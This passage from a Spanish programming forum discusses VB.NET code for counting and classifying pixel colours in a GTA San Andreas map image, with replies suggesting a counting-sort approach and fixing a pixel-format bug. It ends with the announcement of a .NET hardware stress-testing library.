Dim num2 = num1.Select(Function(x) String.Format("[{2}] {0}: {1}", x.Name, x.Val.ToString("N0"), x.Similarity.ToString("F2")))
Return String.Join(Environment.NewLine, num2)
End Function
Public Shared Function GetColorCount(ByRef image As Bitmap, ByVal arr() As Byte, ByVal colors As IEnumerable(Of Color), <System.Runtime.InteropServices.Out()> ByRef imageColors As IEnumerable(Of Color), Optional ByVal isPosterized As Boolean = False) As Dictionary(Of Color, Integer)
Dim count As New Dictionary(Of Color, Integer)()
Using stream As Stream = New MemoryStream(arr)
image = CType(System.Drawing.Image.FromStream(stream), Bitmap)
End Using
'Color[]
imageColors = image.ToColor() '.ToArray();
'Parallel.ForEach(Partitioner.Create(imageColors, true).GetOrderableDynamicPartitions(), colorItem =>
For Each colorItem As Color In imageColors
' .Value
Dim thresholedColor As Color = If((Not isPosterized), colorItem.GetSimilarColor(colors), colorItem) '.RoundColorOff(65);
If Not count.ContainsKey(thresholedColor) Then
count.Add(thresholedColor, 1)
Else
count(thresholedColor) += 1
End If
Next colorItem
Dim posterizedColors As Dictionary(Of Color, Integer) = If(isPosterized, New Dictionary(Of Color, Integer)(), count)
If isPosterized Then
For Each kv In count
Dim pColor As Color = kv.Key.Posterize(16)
If Not posterizedColors.ContainsKey(pColor) Then
posterizedColors.Add(pColor, kv.Value)
Else
posterizedColors(pColor) += kv.Value
End If
Next kv
End If
Return posterizedColors
End Function
End Class
Public Module F
Public mapColors As New Dictionary(Of GroundType, Color)() From {
{ GroundType.Building, Color.white },
{ GroundType.Asphalt, Color.black },
{ GroundType.LightPavement, New Color(206, 207, 206, 255) },
{ GroundType.Pavement, New Color(156, 154, 156, 255) },
{ GroundType.Grass, New Color(57, 107, 41, 255) },
{ GroundType.DryGrass, New Color(123, 148, 57, 255) },
{ GroundType.Sand, New Color(231, 190, 107, 255) },
{ GroundType.Dirt, New Color(156, 134, 115, 255) },
{ GroundType.Mud, New Color(123, 101, 90, 255) },
{ GroundType.Water, New Color(115, 138, 173, 255) },
{ GroundType.Rails, New Color(74, 4, 0, 255) },
{ GroundType.Tunnel, New Color(107, 105, 99, 255) },
{ GroundType.BadCodingDark, New Color(127, 0, 0, 255) },
{ GroundType.BadCodingLight, New Color(255, 127, 127, 255) }
}
Private _darkened As Dictionary(Of GroundType, Color)
Public ReadOnly Property DarkenedMapColors() As Dictionary(Of GroundType, Color)
Get
If _darkened Is Nothing Then
_darkened = GetDarkenedMapColors()
End If
Return _darkened
End Get
End Property
Private BmpStride As Integer = 0
Private Function GetDarkenedMapColors() As Dictionary(Of GroundType, Color)
' We will take the last 2 elements
Dim last2 = mapColors.Skip(mapColors.Count - 2)
Dim exceptLast2 = mapColors.Take(mapColors.Count - 2)
Dim dict As New Dictionary(Of GroundType, Color)()
dict.AddRange(exceptLast2.Select(Function(x) New KeyValuePair(Of GroundType, Color)(x.Key, x.Value.Lerp(Color.black,.5F))))
dict.Add(GroundType.BuildingLight, Color.white)
dict.AddRange(last2)
Return dict
End Function
<System.Runtime.CompilerServices.Extension> _
Public Sub AddRange(Of TKey, TValue)(ByVal dic As Dictionary(Of TKey, TValue), ByVal dicToAdd As IEnumerable(Of KeyValuePair(Of TKey, TValue)))
dicToAdd.ForEach(Sub(x) dic.Add(x.Key, x.Value))
End Sub
<System.Runtime.CompilerServices.Extension> _
Public Sub ForEach(Of T)(ByVal source As IEnumerable(Of T), ByVal action As Action(Of T))
For Each item In source
action(item)
Next item
End Sub
'INSTANT VB NOTE: The parameter color was renamed since it may cause conflicts with calls to static members of the user-defined type with this name:
<System.Runtime.CompilerServices.Extension> _
Public Function Posterize(ByVal color_Renamed As Color, ByVal level As Byte) As Color
Dim r As Byte = 0, g As Byte = 0, b As Byte = 0
Dim value As Double = color_Renamed.r \ 255.0
value *= level - 1
value = Math.Round(value)
value /= level - 1
r = CByte(value * 255)
value = color_Renamed.g \ 255.0
value *= level - 1
value = Math.Round(value)
value /= level - 1
g = CByte(value * 255)
value = color_Renamed.b \ 255.0
value *= level - 1
value = Math.Round(value)
value /= level - 1
b = CByte(value * 255)
Return New Color(r, g, b, 255)
End Function
<System.Runtime.CompilerServices.Extension> _
Public Function GetGroundType(ByVal c As Color, ByVal isPosterized As Boolean) As String
Dim mapToUse = If(Program.isDarkened, DarkenedMapColors, mapColors)
Dim kvColor As KeyValuePair(Of GroundType, Color) = mapToUse.FirstOrDefault(Function(x)If(isPosterized, x.Value.ColorSimilaryPerc(c) >.9F, x.Value = c))
If Not kvColor.Equals(Nothing) Then
Return kvColor.Key.ToString()
Else
Return c.ToString()
End If
End Function
<System.Runtime.CompilerServices.Extension> _
Public Function GetSimilarColor(ByVal c1 As Color, ByVal cs As IEnumerable(Of Color)) As Color
Return cs.OrderBy(Function(x) x.ColorThreshold(c1)).FirstOrDefault()
End Function
<System.Runtime.CompilerServices.Extension> _
Public Function ColorThreshold(ByVal c1 As Color, ByVal c2 As Color) As Integer
Return (Math.Abs(c1.r - c2.r) + Math.Abs(c1.g - c2.g) + Math.Abs(c1.b - c2.b))
End Function
<System.Runtime.CompilerServices.Extension> _
Public Function ColorSimilaryPerc(ByVal a As Color, ByVal b As Color) As Single
Return 1F - (a.ColorThreshold(b) / (256F * 3))
End Function
<System.Runtime.CompilerServices.Extension> _
Public Function RoundColorOff(ByVal c As Color, Optional ByVal roundTo As Byte = 5) As Color
Return New Color(c.r.RoundOff(roundTo), c.g.RoundOff(roundTo), c.b.RoundOff(roundTo), 255)
End Function
<System.Runtime.CompilerServices.Extension> _
Public Function RoundOff(ByVal i As Byte, Optional ByVal roundTo As Byte = 5) As Byte
Return CByte(CByte(Math.Ceiling(i / CDbl(roundTo))) * roundTo)
End Function
<System.Runtime.CompilerServices.Extension> _
Public Iterator Function ToColor(ByVal bmp As Bitmap) As IEnumerable(Of Color)
Dim rect As New Rectangle(0, 0, bmp.Width, bmp.Height)
Dim bmpData As BitmapData = bmp.LockBits(rect, System.Drawing.Imaging.ImageLockMode.ReadWrite, bmp.PixelFormat)
Dim ptr As IntPtr = bmpData.Scan0
Dim bytes As Integer = bmpData.Stride * bmp.Height
Dim rgbValues(bytes - 1) As Byte
' Copy the RGB values into the array.
Marshal.Copy(ptr, rgbValues, 0, bytes)
BmpStride = bmpData.Stride
For column As Integer = 0 To bmpData.Height - 1
For row As Integer = 0 To bmpData.Width - 1
' Little endian
Dim b As Byte = CByte(rgbValues((column * BmpStride) + (row * 4)))
Dim g As Byte = CByte(rgbValues((column * BmpStride) + (row * 4) + 1))
Dim r As Byte = CByte(rgbValues((column * BmpStride) + (row * 4) + 2))
Yield New Color(r, g, b, 255)
Next row
Next column
' Unlock the bits.
bmp.UnlockBits(bmpData)
End Function
<System.Runtime.CompilerServices.Extension> _
Public Sub SaveBitmap(ByVal bmp() As Color, ByVal width As Integer, ByVal height As Integer, ByVal path As String)
Dim stride As Integer = BmpStride
Dim rgbValues((BmpStride * height) - 1) As Byte
For column As Integer = 0 To height - 1
For row As Integer = 0 To width - 1
Dim i As Integer = Pn(row, column, width)
' Little endian
rgbValues((column * BmpStride) + (row * 4)) = bmp(i).b
rgbValues((column * BmpStride) + (row * 4) + 1) = bmp(i).g
rgbValues((column * BmpStride) + (row * 4) + 2) = bmp(i).r
rgbValues((column * BmpStride) + (row * 4) + 3) = bmp(i).a
Next row
Next column
Using image As New Bitmap(width, height, width * 4, PixelFormat.Format32bppArgb, Marshal.UnsafeAddrOfPinnedArrayElement(rgbValues, 0))
image.Save(path)
End Using
End Sub
Public Function Pn(ByVal x As Integer, ByVal y As Integer, ByVal w As Integer) As Integer
Return x + (y * w)
End Function
End Module
Public Module Mathf
<System.Runtime.CompilerServices.Extension> _
Public Function Clamp(Of T As IComparable(Of T))(ByVal val As T, ByVal min As T, ByVal max As T) As T
If val.CompareTo(min) < 0 Then
Return min
ElseIf val.CompareTo(max) > 0 Then
Return max
Else
Return val
End If
End Function
' Interpolates between /a/ and /b/ by /t/. /t/ is clamped between 0 and 1.
Public Function Lerp(ByVal a As Single, ByVal b As Single, ByVal t As Single) As Single
Return a + (b - a) * Clamp01(t)
End Function
' Clamps value between 0 and 1 and returns value
Public Function Clamp01(ByVal value As Single) As Single
If value < 0F Then
Return 0F
ElseIf value > 1F Then
Return 1F
Else
Return value
End If
End Function
End Module
Namespace zenthion
''' <summary>
''' Struct Color
''' </summary>
''' <seealso cref="System.ICloneable" />
<Serializable>
Public Structure Color
Implements ICloneable
''' <summary>
''' Clones this instance.
''' </summary>
''' <returns>System.Object.</returns>
Public Function Clone() As Object Implements ICloneable.Clone
Return MemberwiseClone()
End Function
''' <summary>
''' The r
''' </summary>
Public r, g, b, a As Byte
''' <summary>
''' Gets the white.
''' </summary>
''' <value>The white.</value>
Public Shared ReadOnly Property white() As Color
Get
Return New Color(255, 255, 255)
End Get
End Property
''' <summary>
''' Gets the red.
''' </summary>
''' <value>The red.</value>
Public Shared ReadOnly Property red() As Color
Get
Return New Color(255, 0, 0)
End Get
End Property
''' <summary>
''' Gets the green.
''' </summary>
''' <value>The green.</value>
Public Shared ReadOnly Property green() As Color
Get
Return New Color(0, 255, 0)
End Get
End Property
''' <summary>
''' Gets the blue.
''' </summary>
''' <value>The blue.</value>
Public Shared ReadOnly Property blue() As Color
Get
Return New Color(0, 0, 255)
End Get
End Property
''' <summary>
''' Gets the yellow.
''' </summary>
''' <value>The yellow.</value>
Public Shared ReadOnly Property yellow() As Color
Get
Return New Color(255, 255, 0)
End Get
End Property
''' <summary>
''' Gets the gray.
''' </summary>
''' <value>The gray.</value>
Public Shared ReadOnly Property gray() As Color
Get
Return New Color(128, 128, 128)
End Get
End Property
''' <summary>
''' Gets the black.
''' </summary>
''' <value>The black.</value>
Public Shared ReadOnly Property black() As Color
Get
Return New Color(0, 0, 0)
End Get
End Property
''' <summary>
''' Gets the transparent.
''' </summary>
''' <value>The transparent.</value>
Public Shared ReadOnly Property transparent() As Color
Get
Return New Color(0, 0, 0, 0)
End Get
End Property
''' <summary>
''' Initializes a new instance of the <see cref="Color"/> struct.
''' </summary>
''' <param name="r">The r.</param>
''' <param name="g">The g.</param>
''' <param name="b">The b.</param>
Public Sub New(ByVal r As Byte, ByVal g As Byte, ByVal b As Byte)
Me.r = r
Me.g = g
Me.b = b
a = Byte.MaxValue
End Sub
''' <summary>
''' Initializes a new instance of the <see cref="Color"/> struct.
''' </summary>
''' <param name="r">The r.</param>
''' <param name="g">The g.</param>
''' <param name="b">The b.</param>
''' <param name="a">a.</param>
Public Sub New(ByVal r As Byte, ByVal g As Byte, ByVal b As Byte, ByVal a As Byte)
Me.r = r
Me.g = g
Me.b = b
Me.a = a
End Sub
''' <summary>
''' Implements the ==.
''' </summary>
''' <param name="c1">The c1.</param>
''' <param name="c2">The c2.</param>
''' <returns>The result of the operator.</returns>
Public Shared Operator =(ByVal c1 As Color, ByVal c2 As Color) As Boolean
Return c1.r = c2.r AndAlso c1.g = c2.g AndAlso c1.b = c2.b AndAlso c1.a = c2.a
End Operator
''' <summary>
''' Implements the !=.
''' </summary>
''' <param name="c1">The c1.</param>
''' <param name="c2">The c2.</param>
''' <returns>The result of the operator.</returns>
Public Shared Operator <>(ByVal c1 As Color, ByVal c2 As Color) As Boolean
Return Not(c1.r = c2.r AndAlso c1.g = c2.g AndAlso c1.b = c2.b AndAlso c1.a = c2.a)
End Operator
''' <summary>
''' Returns a hash code for this instance.
''' </summary>
''' <returns>A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table.</returns>
Public Overrides Function GetHashCode() As Integer
Return GetHashCode()
End Function
''' <summary>
''' Determines whether the specified <see cref="System.Object" /> is equal to this instance.
''' </summary>
''' <param name="obj">The <see cref="System.Object" /> to compare with this instance.</param>
''' <returns><c>true</c> if the specified <see cref="System.Object" /> is equal to this instance; otherwise, <c>false</c>.</returns>
Public Overrides Function Equals(ByVal obj As Object) As Boolean
Dim c As Color = DirectCast(obj, Color)
Return r = c.r AndAlso g = c.g AndAlso b = c.b
End Function
''' <summary>
''' Implements the -.
''' </summary>
''' <param name="c1">The c1.</param>
''' <param name="c2">The c2.</param>
''' <returns>The result of the operator.</returns>
Public Shared Operator -(ByVal c1 As Color, ByVal c2 As Color) As Color
Return New Color(CByte(Mathf.Clamp(c1.r - c2.r, 0, 255)), CByte(Mathf.Clamp(c2.g - c2.g, 0, 255)), CByte(Mathf.Clamp(c2.b - c2.b, 0, 255)))
End Operator
''' <summary>
''' Implements the +.
''' </summary>
''' <param name="c1">The c1.</param>
''' <param name="c2">The c2.</param>
''' <returns>The result of the operator.</returns>
Public Shared Operator +(ByVal c1 As Color, ByVal c2 As Color) As Color
Return New Color(CByte(Mathf.Clamp(c1.r + c2.r, 0, 255)), CByte(Mathf.Clamp(c2.g + c2.g, 0, 255)), CByte(Mathf.Clamp(c2.b + c2.b, 0, 255)))
End Operator
''' <summary>
''' Lerps the specified c2.
''' </summary>
''' <param name="c2">The c2.</param>
''' <param name="t">The t.</param>
''' <returns>Color.</returns>
Public Function Lerp(ByVal c2 As Color, ByVal t As Single) As Color
Return New Color(CByte(Mathf.Lerp(r, c2.r, t)), CByte(Mathf.Lerp(g, c2.g, t)), CByte(Mathf.Lerp(b, c2.b, t)))
End Function
''' <summary>
''' Inverts this instance.
''' </summary>
''' <returns>Color.</returns>
Public Function Invert() As Color
Return New Color(CByte(Mathf.Clamp(Byte.MaxValue - r, 0, 255)), CByte(Mathf.Clamp(Byte.MaxValue - g, 0, 255)), CByte(Mathf.Clamp(Byte.MaxValue - b, 0, 255)))
End Function
''' <summary>
''' Returns a <see cref="System.String" /> that represents this instance.
''' </summary>
''' <returns>A <see cref="System.String" /> that represents this instance.</returns>
Public Overrides Function ToString() As String
If Me = white Then
Return "white"
ElseIf Me = transparent Then
Return "transparent"
ElseIf Me = red Then
Return "red"
ElseIf Me = blue Then
Return "blue"
ElseIf Me = black Then
Return "black"
ElseIf Me = green Then
Return "green"
ElseIf Me = yellow Then
Return "yellow"
Else
Return String.Format("({0}, {1}, {2}, {3})", r, g, b, a)
End If
End Function
''' <summary>
''' Fills the specified x.
''' </summary>
''' <param name="x">The x.</param>
''' <param name="y">The y.</param>
''' <returns>Color[].</returns>
Public Shared Iterator Function Fill(ByVal x As Integer, ByVal y As Integer) As IEnumerable(Of Color)
For i As Integer = 0 To (x * y) - 1
Yield black
Next i
End Function
End Structure
End Namespace A pesar de haber sido convertido con un conversor se ha comprobado en: https://dotnetfiddle.net/1vbkgG
Nota2: La idea era que se ejecutase de forma online y si le poneis una imagen más pequeña deberia sacar los pixeles, pero como digo no se puede, por tema de web clouds y recursos compartidos.
Nota3: Le he metido esta imagen (https://vignette.wikia.nocookie.net/gta-myths/images/8/80/Gtasa-blank.png/revision/latest?cb=20161204212845) pero me da un error que ahora mismo no me puedo parar a comprobar:
CitarRun-time exception (line -1): Arithmetic operation resulted in an overflow.
Stack Trace:
[System.OverflowException: Arithmetic operation resulted in an overflow.]
at F.ColorThreshold(Color c1, Color c2)
at F._Closure$__3._Lambda$__15(Color x)
at System.Linq.EnumerableSorter`2.ComputeKeys(TElement[] elements, Int32 count)
at System.Linq.EnumerableSorter`1.Sort(TElement[] elements, Int32 count)
at System.Linq.OrderedEnumerable`1.<GetEnumerator>d__1.MoveNext()
at System.Linq.Enumerable.FirstOrDefault[TSource](IEnumerable`1 source)
at F.GetSimilarColor(Color c1, IEnumerable`1 cs)
at Program.GetColorCount(Bitmap& image, Byte[] arr, IEnumerable`1 colors, IEnumerable`1& imageColors, Boolean isPosterized)
at Program.Main()
Y creo que eso es todo.
Un saludo.PD: La razón de que el código esté mitad comentado y mitad sin comentar es porque la parte de la clase Color es una implementación propia de la clase Color que hice hace tiempo y la introducí en mi Lerp2API.
PD2: Este código (el del ColorThreshold y lo de GetSimilarity, todo lo demás lo he escrito esta mañana y tarde) realmente lo estaba usando en mi proyecto de San Andreas Unity (de los últimos commits que hice antes de irme de este y empezar uno nuevo a solas).
PD3: Todo esto es parte de un proceso de depuración un tanto largo que me ha servido para constrastar de donde me venían unos valores. Para ser más concretos, tengo un algoritmo que saca los contornos de los edificios que he estado optimizando (el cual empecé en 2016, y después de un año he retomado), y bueno, yo esperaba que me devolviese unos 2600 edificios, pero se me han devuelto unos 1027k y hay unos 1029k pixeles en la última imagen que he puesto (lo podéis comprobar vosotros mismos), así que ya se por donde seguir. Espero que vosotros también hagáis lo mismo con lo que escribo. ;) :P
mmm... no estoy seguro de haberte entendido, del todo... luego copio el código y mañana trato de ejecutarlo y ya veré... pero de entrada me parece que intentas contar colores?. o intentas contar áreas que tienen un color (esto último luego de abrir el fichero 'texture-Color.png".
Así que ateniéndome solo a tus comentarios.
Con el algoritmo counting-sort, puedes tener la cantidad de colores únicos que contienen una imagen... necesitas un array de 17Mb.
Después puedes clasificarlos. Si solo aparecen por ejemplo 1millón de colores distintos, solo tienes que reclasificar 1 millons (hacer tu comparación de similaridad, en vez de hacerlo con toda los 7.000x5.000 = 35millones)... counting sort, es el algoritmo más rápido de ordenamiento para números enteros, además tampoco es exactamente dicho algorimo, sino una simplificación pués nos basta saber la existencia de cada único elemento (sin duplicados)
Así que si precisas una clasificación basada en el parecido, es más práctico (que lo que has hecho) aplicar una función que derive los colores que tu dés por sentado que pertenecen a una categoría al color que representa esa categoría... (quiero decir, es más práctico si no te basta con saber qué colores aparecen, si no que además debas hacer algo con ellos después en la imagen). Así al final toda la imagen tendría solo tantos colores como categorías tengas. Por supuesto debe quedar claro previamente que pasa con los colores que pudieran correponder por igual a más de una categoría (el gris puede llevarse a la categoría de negro, lo mismo que a la del blanco, pués equidista de ambos). Es decir, un color no debe estar en mas de una categoría...
Aquí las funciones que harían todo lo antedicho...
// la función recibe el array de píxeles (4bytes por píxel) y devuelve la cantidad de únicos por referencia y el array de colores únicos.
// es una simplificación de counting-sort (ya que no requerimos ordenarlos, sólo conocer los únicos).
array entero = funcion GetColoresUnicos(in array entero pixeles(), out entero Cantidad)
array de entero ColoresUnicos(0 a 1677725) //255 para señalar que existe y 0 para no.
entero k
bucle para k desde 0 hasta pixeles.length -1
ColoresUnicos(pixeles(k)) = 255 // por si se quiere hace rpasar por bleao en alguna operación posterior.
siguiente
devolver ColoresUnicos
fin funcion
Listo ya tienes un array donde el índice es el propio color del píxel, y si el valor contenido es 1, dicho color (el valor del índice) existe en la imagen, si vale 0, no.
por ejemplo sea: ColoresUnicos(10145634) que vale 255, ese color (el 10145634, en Hex:9ACF62), existe en la imagen.
Ahora clasificas estos colores únicos según tu criterio de similaridad... y será enormemente más rápido que todo ese código que tienes...
Veamos por ejemplo que tienes 25 categorías... asignas un color a ellos... y pongamos que descansan en un array ColCategorias(0 a 24)
// Ahora el array de colores únicos se truncará para que cada color existente (valor 255),
// pase a tener el color de la categoría a la que pertenece
funcion ReclasificarColores(in-out array entero colUnicos() )
entero k, byte x
bucle para k desde 0 hasta 16777215
Si colUnicos(k) > 0) // es decir si existe en la imagen
// esta función debe devolver un valor en el rango 0-24, que es el índice de un color de la categoría...
x = Similaridad(colUnicos(k))
colUnicos(k) = colCategoria(x)
// o bien devolver directamente el color y se asigna entonces a
// colUnicos(k) = Similaridad(colUnicos(k))
fin si
fin bucle
fin funcion
Ahora que ya están todos los colores (únicos) existentes en la imagen, modificado al color de cuya categoría es reepresentativo.... solo resta aplicarlo a la imagen (si fuera el caso)...
// Cambia cada color d ela imagen, por el que corresponde a su categoría.
funcion SegmentarImagenEnColores(in array entero pixeles(), in array entero colUnicos() )
entero k
bucle para k desde 0 hasta pixeles.lenght -1
pixeles(k) = colUnicos(pixeles(k))
siguiente
fin funcion
Y fin... vuelves a depositar el array de píxeles en la imagen (si no interceptaste directamente su puntero en memoria), y refrescas la imagen. Ya la tienes segmentada en tus 25 colores (de ejemplo).
Aparte de las 3 funciones dadas en pseudocódigo, te falta solo incorporar la función de similaridad, la cual dependerá de ciertos parámetros, que deenden de lo que uno aya a hacer... y que queda a tu esfuerzo, aunque creo haber visto que en el código pudieras tenerla ya implementada.
Y queda evidentemente la parte del código que carga la imagen y toma su array de píxeles y al final la devuelve (y si procede la guarda a disco)...
aquí lo que sería la función general...
funcion SegemtarImagenEnCategorias(string Ruta)
entero cantidadColUnicos
array entero pixeles()
array entero colUnicos()
array entero colCategoria()
bitmap Imagen
imagen = ReadImagen(ruta)
pixeles = GetPixeles(Imagen))
cantidadColUnicos = GetColoresUnicos(pixeles, colUnicos)
imprimir cantidadColUnicos // solo por cuirosidad, aunque puede usarse para determinar cuando terminar en un bucle
// se supone que estos colores ya está definidos de antemano, pueden tomarse desde
// fichero, desde recursos, insertos en el código como constantes, etc...
colCategoria= RadFromFile(Ruta)
ReclasificarColores(colUnicos)
SegmentarImagenEnColores(pixeles, colUnicos)
SetPixeles(Imagen, pixeles)
WriteImagen(ruta, imagen)
fin funcion
<hr>
Otra opción es simplemente aplicar funciones de segmentación, por ejemplo una convolución con un kernel como el siguiente (-1,1,-1, 1,0,1, -1,1,-1) genera la imagen que pongo justo bajo estas líneas...
(https://i.imgur.com/SMF6OME.jpg)
O una función de 'relieve' donde realza el contraste cuando encuentra un cambio brusco de luminancia, y apaga-diluye el resto... la siguiente imagen corresponde a ese caso.
(https://i.imgur.com/c8HBPNH.jpg)
Ambas partiendo de la siguiente imagen (se hecha en falta spoilers en el foro). Claro que al hablar de edificios, pensaba que eran en 3 dimensiones, vamos como una ciudad, sin embargo, luego de ver la imagen png, veo que es más una imágen aérea de edificios, lo que sin duda arrojaría un mejor resultado que una en 3d, como esta de la que he partido...
(https://i.imgur.com/p8tmjuA.jpg)
Mañana con más tiempo le hecho un ojo al código...
Te cuento de forma rápida lo que pretendo.
En el mapa hay x cantidad de colores predefinidos, tantos como enumeraciones tengas.
En este caso: Building, Asphalt, LightPavement, Pavement, Grass, DryGrass, Sand, Dirt, Mud, Water, Rails, Tunnel, BadCodingDark, BadCodingLight, BuildingLight, son 15.
Lo que pasa con esa imagen es hay micro variaciones de color. Quizás hay 100 tonos distintos de Grass con variaciones de pares en la escala RGB (es decir, nunca te vas a encontrar tonos que tengan un (0, 241, 0, 255), para el caso de un verde), y quizás con un rango total de ±10. Es decir, 5 posibilidades entre los 3 componentes: 5^3=125 tonos de verde.
Estos tonos son inperceptibles al ojo humano. Quizás se hizo por algun motivo (ya le metere saturación para ver si sigue algún patrón o algo. Estos de Rockstar te meten easter eggs hasta en los mapas).
Entonces lo que hago primero es iterar todos los colores. Mientras itero, voy comparando pixel a pixel, con los colores definidos en el diccionario, pero no los comparo literalmente (==), si no que saco un porcentaje de similitud. Y estás microvariaciones, como digo, como máximo su diferencia puede ser de ±10.
El porcentaje (con el mayor offset posible) sera en este caso: (255, 255, 255, 255) --> (245, 245, 245, 255) = 0.9609375 = 96,1% (un 3,9% de diferencia), vamos bien, ya que yo comparo con hasta un 10%, es decir una variación de ±25, es decir 25/2=12,5^3=1953 posibilidades, imagina.
Teniendo ese porcentaje, pues ya al debugear lo unico que hago es agrupar todos los colores (antes lo que hacia era posterizarlos, pero no me moló la idea, por eso hay un método de posterización) y sumar sus respectivas agrupaciones, pasamos de +1600 colores a unos 15 o menos (algunos no los detecta bien, otros directamente, no están presentes).
Un saludo.
Cita de: z3nth10n en 18 Octubre 2018, 19:51 PM
Nota3: Le he metido esta imagen (https://vignette.wikia.nocookie.net/gta-myths/images/8/80/Gtasa-blank.png/revision/latest?cb=20161204212845) pero me da un error que ahora mismo no me puedo parar a comprobar:
Si tu mismo te das cuenta de que el propósito principal del código que tienes está incompleto, puesto que NO funciona correctamente con según que imágenes (más abajo te explico el fallo), ¿entonces por que lo compartes?. Algo incompleto o no del todo funcional sencillamente no sirve para reutilizarlo, es que no sirve.
Citar <System.Runtime.CompilerServices.Extension> _
Public Iterator Function ToColor(ByVal bmp As Bitmap) As IEnumerable(Of Color)
Dim rect As New Rectangle(0, 0, bmp.Width, bmp.Height)
Dim bmpData As BitmapData = bmp.LockBits(rect, System.Drawing.Imaging.ImageLockMode.ReadWrite, bmp.PixelFormat)
Dim ptr As IntPtr = bmpData.Scan0
Dim bytes As Integer = bmpData.Stride * bmp.Height
Dim rgbValues(bytes - 1) As Byte
' Copy the RGB values into the array.
Marshal.Copy(ptr, rgbValues, 0, bytes)
BmpStride = bmpData.Stride
For column As Integer = 0 To bmpData.Height - 1
For row As Integer = 0 To bmpData.Width - 1
' Little endian
Dim b As Byte = CByte(rgbValues((column * BmpStride) + (row * 4)))
Dim g As Byte = CByte(rgbValues((column * BmpStride) + (row * 4) + 1))
Dim r As Byte = CByte(rgbValues((column * BmpStride) + (row * 4) + 2))
Yield New Color(r, g, b, 255)
Next row
Next column
' Unlock the bits.
bmp.UnlockBits(bmpData)
End Function
<System.Runtime.CompilerServices.Extension> _
Public Sub SaveBitmap(ByVal bmp() As Color, ByVal width As Integer, ByVal height As Integer, ByVal path As String)
Dim stride As Integer = BmpStride
Dim rgbValues((BmpStride * height) - 1) As Byte
For column As Integer = 0 To height - 1
For row As Integer = 0 To width - 1
Dim i As Integer = Pn(row, column, width)
' Little endian
rgbValues((column * BmpStride) + (row * 4)) = bmp(i).b
rgbValues((column * BmpStride) + (row * 4) + 1) = bmp(i).g
rgbValues((column * BmpStride) + (row * 4) + 2) = bmp(i).r
rgbValues((column * BmpStride) + (row * 4) + 3) = bmp(i).a
Next row
Next column
Using image As New Bitmap(width, height, width * 4, PixelFormat.Format32bppArgb, Marshal.UnsafeAddrOfPinnedArrayElement(rgbValues, 0))
image.Save(path)
End Using
End Sub
Public Function Pn(ByVal x As Integer, ByVal y As Integer, ByVal w As Integer) As Integer
Return x + (y * w)
End Function
End Module
Primero de todo quiero comentar que eso no deberían ser extensiones de método puesto que estás usando objetos que no están declarados dentro del bloque de la extensión de método (BmpStride y rgbValues). No es código reutilizable tal y como está ahora mismo.
Bueno, vayamos al grano. Es lógico que el algoritmo te tire errores con la imagen del hipervínculo que has mencionado, puesto que tu algoritmo está
hardcodeado para
parsear imágenes de 32 BPP (4 bytes por pixel) en ese búcle que haces ahí, sin embargo, tu estás intentando tratar imágenes con otro formato de píxeles, 24 BPP en este caso (3 bytes por pixel), por lo tanto tu búcle generará una excepción del tipo
IndexOutOfRangeException.
El error principal lo cometes aquí, al pasarle el argumento
bmp.PixelFormat, el cual puede ser cualquier formato de píxeles dependiendo de la imagen original...
CitarDim bmpData As BitmapData = bmp.LockBits(rect, System.Drawing.Imaging.ImageLockMode.ReadWrite, bmp.PixelFormat)
En su lugar, debes convertir la imagen a 32 BPP simplemente pasándole el argumento
PixelFormat.Format32bppArgb a la función LockBits:
Dim bmpData As BitmapData = bmp.LockBits(rect, ImageLockMode.ReadOnly, PixelFormat.Format32bppArgb)...o en su defecto, adaptar tu búcle para todos los tipos de formato de píxeles posibles.
Te muestro un ejemplo:
Public Iterator Function GetColors(ByVal bmp As Bitmap) As IEnumerable(Of Color)
' Lock the bitmap bits.
Dim pixelFormat As PixelFormat = PixelFormat.Format32bppArgb
Dim bytesPerPixel As Integer = 4 ' PixelFormat.Format32bppArgb
Dim rect As New Rectangle(Point.Empty, bmp.Size)
Dim bmpData As BitmapData = bmp.LockBits(rect, ImageLockMode.ReadOnly, pixelFormat)
' Get the address of the first row.
Dim address As IntPtr = bmpData.Scan0
' Hold the raw bytes of the bitmap.
Dim numBytes As Integer = (Math.Abs(bmpData.Stride) * rect.Height)
Dim rawImageData As Byte() = New Byte(numBytes - 1) {}
Marshal.Copy(address, rawImageData, 0, numBytes)
' Unlock the bitmap bits.
bmp.UnlockBits(bmpData)
' Iterate the pixels.
For i As Integer = 0 To (rawImageData.Length - bytesPerPixel) Step bytesPerPixel
Yield Color.FromArgb(alpha:=rawImageData(i + 3),
red:=rawImageData(i + 2),
green:=rawImageData(i + 1),
blue:=rawImageData(i))
Next i
End FunctionEn el otro método "SaveBitmap" deberías aplicar el mismo principio, ya que también asumes que es una imagen de 32 BPP.
Saludos
HardwareStress( click en la imagen para descargar la librería o el código fuente )
(https://i.imgur.com/708adIW.jpg) (https://github.com/ElektroStudios/HardwareStress)
HardwareStress es una biblioteca .NET que proporciona un mecanismo para estresar los recursos de hardware, como la CPU, disco o memoria RAM.
Como cualquier otro software enfocado para estresar los recursos de hardware, usted debe usarlo bajo su propio riesgo. No me responsabilizo de un error de hardware.
DonacionesCualquier código dentro del espacio de nombres "DevCase" se distribuye libremente como parte del código fuente comercial de "DevCase for .NET Framework".
Tal vez te gustaría considerar comprar este conjunto de bibliotecas para apoyarme. Puede hacer un montón de cosas con mis bibliotecas para una gran cantidad de temáticas diversas, no solo relacionadas con hardware, etc.
Aquí hay un enlace a la página de compra:
- https://codecanyon.net/item/elektrokit-class-library-for-net/19260282
Muchas gracias.
UsoEl uso es muy simple, hay 3 clases:
CpuStress,
DiskStress y
MemoryStress que proporciona un método
Allocate() para comenzar a estresar los recursos, y un método
Deallocate() para detenerlo.
Ejemplos de usoCPU Stress
Using cpuStress As New CpuStress()
Dim percentage As Single = 20.5F 20.50%
Console.WriteLine("Allocating CPU usage percentage...")
cpuStress.Allocate(percentage)
Thread.Sleep(TimeSpan.FromSeconds(5))
Console.WriteLine("Instance CPU average usage percentage: {0:F2}%", cpuStress.InstanceCpuPercentage)
Console.WriteLine("Process CPU average usage percentage: {0:F2}%", cpuStress.ProcessCpuPercentage)
Console.WriteLine()
Console.WriteLine("Deallocating CPU usage percentage...")
cpuStress.Deallocate()
Thread.Sleep(TimeSpan.FromSeconds(5))
Console.WriteLine("Instance CPU average usage percentage: {0:F2}%", cpuStress.InstanceCpuPercentage)
Console.WriteLine("Process CPU average usage percentage: {0:F2}%", cpuStress.ProcessCpuPercentage)
End Using(https://raw.githubusercontent.com/ElektroStudios/HardwareStress/master/Preview/CpuStress-Example.png)
Disk Stress
